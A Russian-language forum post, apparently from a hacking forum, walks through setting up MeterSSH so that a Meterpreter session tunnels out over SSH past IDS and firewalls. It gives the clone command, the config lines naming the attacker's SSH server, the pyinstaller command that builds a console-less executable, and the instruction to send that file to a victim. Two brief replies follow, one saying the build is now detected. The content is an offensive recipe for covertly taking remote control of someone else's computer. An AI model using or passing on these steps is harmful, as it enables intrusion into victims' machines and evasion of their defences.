Статья Meterssh - обходим IDS и Firewall используя Meterpreter через SSH

Добрый вечер, я диспетчер, не хотите .... а в прочем не важно.
На форуме я не нашел обзора на этот инструмент, хотя он за 2014 год.
И начинаем мы с вами с установки.

Первым делом мы должны скачать этот инструмент(хотя вы можете открыть код файла и переписать его(для true мазохистов))

git clone https://github.com/trustedsec/meterssh

Теперь мы должны подогнать конфиг инструмента под себя

gedit meterssh.py

Нас интересуют эти строчки

user = "sshuser"
# password for SSH
password = "sshpw"
# this is where your SSH server is running
rhost = "192.168.1.1"
# remote SSH port - this is the attackers SSH server
port = "22"

После того как вы изменили конфиг вы должны скомпилировать скрипт формата .py в .exe.

Для чего это делать? Если вы отправите .py скрипт жертве и на его машине не будет установлен python, запустить скрипт он не сможет.
Теперь мы устанавливаем pyinstaller на ваш windows/linux с wine.
Вводим такое заклинание в консоль

pyinstaller -F --noconsole meterssh.py

После компиляции приступаем к следующему шагу.

Пишем

python monitor.py

service ssh restart

Отлично, теперь отправьте meterssh.exe(скомпилированный pyinstaller-ом скрипт) жертве.
При открытий файла жертвой у вас появиться это

Мы получили meterpreter.
На этом все.

 

[Vander]

Неплохо, прямо сейчас и проверю.

 

[lomini]

в 2018 было заебись щас уже палиться сборка.